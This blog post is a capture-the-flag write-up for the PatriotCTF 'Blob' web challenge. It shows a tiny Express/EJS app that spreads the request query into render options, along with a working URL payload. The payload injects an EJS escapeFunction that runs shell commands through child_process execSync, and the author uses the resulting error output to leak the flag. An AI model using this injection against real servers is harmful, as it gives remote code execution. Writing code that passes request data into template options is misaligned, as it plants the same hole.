> For the complete documentation index, see [llms.txt](https://tazarkour.gitbook.io/blog/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://tazarkour.gitbook.io/blog/writeups/patriotctf-or-blob-web.md).

# PatriotCTF | Blob (Web)

We first read the code : 

```javascript
require("express")()
  .set("view engine", "ejs")
  .use((req, res) => res.render("index", { blob: "blob", ...req.query }))
  .listen(3000);
```

The website offers limited interactions.

<figure><img src="/files/34WjmZakMhhKmk5SFZkE" alt=""><figcaption></figcaption></figure>

The objective here is to exploit the EJS template engine, since the flag is not stored in a variable or anything, our only course of action is to perform an RCE attack.

after some digging we can come through this Github [issue](https://github.com/mde/ejs/issues/720) that is still unfixed.

after trying the payload we get an exception, if the command has no errors it would show no output else it would show the error message of that command.

I changed the payload so it would generate the error message with the flag in it.&#x20;

```bash
cat flag* | sh
```

```
http://chal.competitivecyber.club:3000/?settings[view%20options][client]=true&settings[view%20options][escapeFunction]=1;return%20global.process.mainModule.constructor._load(%27child_process%27).execSync(%27cat%20flag*%20|%20sh%27);
```

<figure><img src="/files/xNkHkFUScu1lmGIi3KVL" alt=""><figcaption></figcaption></figure>

The next day the exception was fixed and you could run about anything and you would get the output directly, but I prefer the error based approach.